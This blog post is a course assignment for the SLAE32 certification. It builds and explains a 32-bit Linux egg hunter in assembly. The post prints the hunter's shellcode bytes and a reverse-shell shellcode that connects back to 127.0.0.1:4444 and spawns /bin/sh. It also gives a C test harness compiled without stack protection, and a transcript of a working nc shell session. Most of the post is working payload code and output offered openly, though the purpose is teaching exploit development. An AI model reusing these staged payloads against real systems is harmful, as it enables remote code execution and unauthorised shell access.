Post

SLAE32 - Assignment #3 - Egg Hunter

Introduction

This is the blog post for the 3rd Assignment of the SLAE32 course, which is offered by PentesterAcademy. The course focuses on teaching the basics of 32-bit Assembly language for the Intel Architecture (IA-32) family of processors on the Linux platform.

The purpose of this assignment is to create an Egg Hunter shellcode. An Egg Hunter is the first stage of a multistage payload. It consists of a piece of code that scans memory for a specific pattern and moves execution to that location. The pattern is a 4 byte string referred to as an egg. The Egg Hunter searches for two instances of where one directly follows the other. More details can be found at: The Basics of Exploit Development 3: Egg Hunters.

My code can be found in my Github: geobour98’s Github.

Egg Hunter in Detail

A great paper showcasing Egg Hunting techniques in Linux and Windows in great detail can be found at: Safely Searching Process Virtual Address Space. The code is based on one of the implementations described there.

This implementation is based on the syscall access. It checks user’s permissions for a specific file. The header file /usr/include/i386-linux-gnu/asm/unistd_32.h shows the number for accesss.

SyscallDefinition
access#define __NR_access 33

The syscall’s prototype is the following:

1
int access(const char *pathname, int mode);

If pathname points outside of the accessible address space, then EFAULT is returned. So we will use this error in order to search memory page by memory page for 2 consecutive instances of the egg. If this error is returned, we should search in another memory page for the egg.

Egg Hunter in Assembly

We start by setting the EBX register with the egg value. It is the following 4 bytes value: 0x50905090. This value will later be searched for 2 consecutive instances, in total 8 bytes, in order to execute the shellcode coming after it.

1
	mov ebx, 0x50905090	; move the 4 bytes egg in ebx

Then, we clear the ECX register and perform a multiplication instruction that multiplies the contents of ECX with the contents of EAX and stores the upper 32 bits of the product at EDX and the lower 32 bits at EAX. In our case the product is 0, so both register values become 0 too.

1
2
	xor ecx, ecx		; clear ecx register
	mul ecx				; multiply ecx with eax and store upper bits in edx and lower in eax, both 0

After that, we declare the procedure next_page, where we perform an OR bitwise operation between DX, which has 0 value from before, and the hexadecimal value 0xfff, 4095 in decimal, that results in the same 0xfff value. Our goal with this procedure is to go to the next memory page, when we have found the memory address pointing by EBX (explained later) is invalid, meaning that the rest of the addresses in this page are invalid too. This means that the egg isn’t there. The default memory page size is 4096 bytes, so we cover with next_page the 4095 first bytes and the last one with next_address.

1
2
3
next_page:
	or dx, 0xfff		; page alignment operation
						; default page size is 4096 bytes (next_page + next_address = 4096 => 4095 + 1 = 4096)

Then, we declare the procedure next_address, where we increment the value of EDX by one. This procedure serves the purpose explained above.

1
2
next_address:
	inc edx			; increment edx by 1 to reach the page size of 4096

At this point we want the values of all the registers to be saved at the stack, so they are preserved after the execution of the syscall accept.

1
	pusha			; push all registers on the stack

We save 8 bytes from the start of the EDX register at EBX in order to be validated at once. That means that is impossible for the memory address pointing by EDX to be valid and the memory address pointing by EDX + 4 to be invalid.

1
	lea ebx, [edx + 0x4]	; ebx is set with the value of edx plus 4, so 8 bytes are validated at once

We pass the hexadecimal value 0x21 (33 in decimal) to AL as the access syscall number.

1
	mov al, 0x21		; 21 is the hex value of the decimal 33 for access syscall

The final step for the accept syscall is to invoke a syscall interrupt in order to be executed.

1
	int 0x80		; exec access syscall

The returned value from the accept syscall is stored in EAX register, so we want to compare the AL part with the hexadecimal value 0xf2, which is the low byte of the EFAULT return value. If they are equal, the Zero Flag (ZF) is set and it means that we want to go to the next memory page to search for the egg.

1
	cmp al, 0xf2		; compare return value of accept with 0xf2 (low byte of EFAULT return value)

We restore the values from the stack, especially the EBX value that is the egg.

1
	popa			; pop all registers from the stack

Then, if the ZF was set from cmp instruction, we jump to the next_page procedure in order to go to the next memory page.

1
	jz next_page		; jump short to next_page if zero (ZF = 1)

If the ZF from before isn’t set, it means we have a valid memory address. So we can compare the value pointing by EDX with the egg value at EBX. If they match, meaning that we found the egg for the first time, we continue through the code. Otherwise, we jump to the next_address procedure in order to search for the egg in the next memory address.

1
2
	cmp [edx], ebx		; if the egg in ebx doesn't match edx content go to the next address
	jnz next_address	; jump short if not zero (ZF = 0)

If the ZF is set from before, meaning we have the egg for the first time, we can compare the value of the next address (EDX + 4) with the egg again to identify if we have 2 consecutive instances of the egg and we can execute the following shellcode. Otherwise, we jump to the next_address again.

1
2
	cmp [edx + 0x4], ebx	; if the egg in ebx doesn't match edx+4 content go to the next address again
	jnz next_address		; jump short if not zero (ZF = 0)

Finally, at this point we have found 2 consecutive instances of the egg and we can jump at the shellcode in order to execute it.

1
	jmp edx			; egg is found, jump short at edx (our shellcode)

The whole Assembly program is the following:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
; Egg Hunter
; Author: geobour98 

global _start

section .text

_start:
	mov ebx, 0x50905090	; move the 4 bytes egg in ebx

	xor ecx, ecx		; clear ecx register
	mul ecx			; multiply ecx with eax and store upper bits in edx and lower in eax, both 0

next_page:
	or dx, 0xfff		; page alignment operation
				; default page size is 4096 bytes (next_page + next_address = 4096 => 4095 + 1 = 4096)

next_address:
	inc edx			; increment edx by 1 to reach the page size of 4096
	
	pusha			; push all registers on the stack
	lea ebx, [edx + 0x4]	; ebx is set with the value of edx plus 4, so 8 bytes are validated at once

	mov al, 0x21		; 21 is the hex value of the decimal 33 for access syscall

	int 0x80		; exec access syscall

	cmp al, 0xf2		; compare return value of accept with 0xf2 (low byte of EFAULT return value)

	popa			; pop all registers from the stack

	jz next_page		; jump short to next_page if zero (ZF = 1)

	cmp [edx], ebx		; if the egg in ebx doesn't match edx content go to the next address
	jnz next_address	; jump short if not zero (ZF = 0)

	cmp [edx + 0x4], ebx	; if the egg in ebx doesn't match edx+4 content go to the next address again
	jnz next_address	; jump short if not zero (ZF = 0)

	jmp edx			; egg is found, jump short at edx (our shellcode)

Testing the Egg Hunter

In order to prove that the Egg Hunter is working, we first have to compile the Assembly code. This process consists of assembling and linking, which are described in previous blog posts.

The following bash script automates that process:

1
2
3
4
5
6
7
8
9
#!/bin/bash

echo '[+] Assembling with Nasm ... '
nasm -felf32 -o $1.o $1.nasm

echo '[+] Linking ...'
ld -o $1 $1.o

echo '[+] Done!'

The following command does the compilation and creates the executable egg-hunter:

1
2
3
4
geobour98@slae32-dev:~/SLAE/custom/SLAE32/3_Egg_hunter$ ./compile.sh egg-hunter
[+] Assembling with Nasm ... 
[+] Linking ...
[+] Done!

The next step is to extract the shellcode from the egg-hunter executable in order to test it with another shellcode. The objdump program, which displays information from object files, is used with the following one-liner:

1
2
geobour98@slae32-dev:~/SLAE/custom/SLAE32/3_Egg_hunter$ objdump -d ./egg-hunter | grep '[0-9a-f]:' | grep -v 'file'|cut -f2 -d: | cut -f1-6 -d' ' | tr -s ' ' | tr '\t' ' ' | sed 's/ $//g' | sed 's/ /\\x/g' | paste -d '' -s | sed 's/^/"/' | sed 's/$/"/g'
"\xbb\x90\x50\x90\x50\x31\xc9\xf7\xe1\x66\x81\xca\xff\x0f\x42\x60\x8d\x5a\x04\xb0\x21\xcd\x80\x3c\xf2\x61\x74\xed\x39\x1a\x75\xee\x39\x5a\x04\x75\xe9\xff\xe2"

Now we have extracted the shellcode and we will test it with the reverse shell created in the previous blog post. So, we need to extract the shellcode from the reverse executable with the previous objdump command:

1
2
geobour98@slae32-dev:~/SLAE/custom/SLAE32/3_Egg_hunter$ objdump -d ./reverse | grep '[0-9a-f]:' | grep -v 'file'|cut -f2 -d: | cut -f1-6 -d' ' | tr -s ' ' | tr '\t' ' ' | sed 's/ $//g' | sed 's/ /\\x/g' | paste -d '' -s | sed 's/^/"/' | sed 's/$/"/g'
"\x31\xc0\x66\xb8\x67\x01\x31\xdb\xb3\x02\x31\xc9\xb1\x01\x31\xd2\xcd\x80\x89\xc3\x31\xc0\x66\xb8\x6a\x01\x68\x7f\x01\x01\x01\x66\x68\x11\x5c\x66\x6a\x02\x31\xc9\x89\xe1\x31\xd2\xb2\x10\xcd\x80\x31\xc9\xb1\x03\x31\xc0\xb0\x3f\xfe\xc9\xcd\x80\x75\xf6\x31\xc0\xb0\x0b\x31\xd2\x52\x52\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80"

After that, we modify the C program provided in the course materials that checks if a shellcode is working. The code array contains the shellcode generated by objdump but at the start we have put the egg value twice in little endian format. So it has become \x90\x50\x90\x50\x90\x50\x90\x50. When the Egg Hunter shellcode gets executed it will search for that pattern and execute the shellcode coming after that, which is our reverse shell. Then we declare the egghunter shellcode. After that we print the lengths of both shellcodes. Finally, we perform typecasting on the egghunter shellcode and execute the ret() function that executes the egghunter shellcode, which then calls code.

The whole C program is the following:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#include<stdio.h>
#include<string.h>

unsigned char code[] = \
"\x90\x50\x90\x50\x90\x50\x90\x50\x31\xc0\x66\xb8\x67\x01\x31\xdb\xb3\x02\x31\xc9\xb1\x01\x31\xd2\xcd\x80\x89\xc3\x31\xc0\x66\xb8\x6a\x01\x68\x7f\x01\x01\x01\x66\x68\x11\x5c\x66\x6a\x02\x31\xc9\x89\xe1\x31\xd2\xb2\x10\xcd\x80\x31\xc9\xb1\x03\x31\xc0\xb0\x3f\xfe\xc9\xcd\x80\x75\xf6\x31\xc0\xb0\x0b\x31\xd2\x52\x52\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80";

unsigned char egghunter[] = \
"\xbb\x90\x50\x90\x50\x31\xc9\xf7\xe1\x66\x81\xca\xff\x0f\x42\x60\x8d\x5a\x04\xb0\x21\xcd\x80\x3c\xf2\x61\x74\xed\x39\x1a\x75\xee\x39\x5a\x04\x75\xe9\xff\xe2";

int main()
{

        printf("Shellcode Length:  %d\n", strlen(code));
	printf("Egg Hunter Length: %d\n", strlen(egghunter));

        int (*ret)() = (int(*)())egghunter;

        ret();

	return 0;
}

Now we need to compile the C program, by disabling the stack protection as well as making the stack executable:

1
geobour98@slae32-dev:~/SLAE/custom/SLAE32/3_Egg_hunter$ gcc -fno-stack-protector -z execstack shellcode.c -o shellcode

We test the Egg Hunter and the Reverse Shell by creating a listener on port 4444 with nc in one terminal window and in another we execute the executable shellcode. Then, back to the first we verify the incoming connection and run the commands id and ls.

1st window:

1
geobour98@slae32-dev:~/SLAE/custom/SLAE32/3_Egg_hunter$ nc -lvnp 4444

2nd window:

1
2
3
4
geobour98@slae32-dev:~/SLAE/custom/SLAE32/3_Egg_hunter$ ./shellcode 
Shellcode Length:  93
Egg Hunter Length: 39

1st window again:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
Listening on [0.0.0.0] (family 0, port 4444)
Connection from [127.0.0.1] port 4444 [tcp/*] accepted (family 2, sport 48292)
id
uid=1000(geobour98) gid=1000(geobour98) groups=1000(geobour98),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)
ls
compile.sh
egg-hunter
egg-hunter.nasm
egg-hunter.o
reverse
shellcode
shellcode.c
exit
geobour98@slae32-dev:~/SLAE/custom/SLAE32/3_Egg_hunter$ 

Summary

We have a working Egg Hunter shellcode that calls the Reverse Shell shellcode and we get a connection back on port 4444.

Next will be the Custom Encoder!

SLAE32 Blog Post

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:

https://www.pentesteracademy.com/course?id=3

http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/

Student ID: PA-36167

This post is licensed under CC BY 4.0 by the author.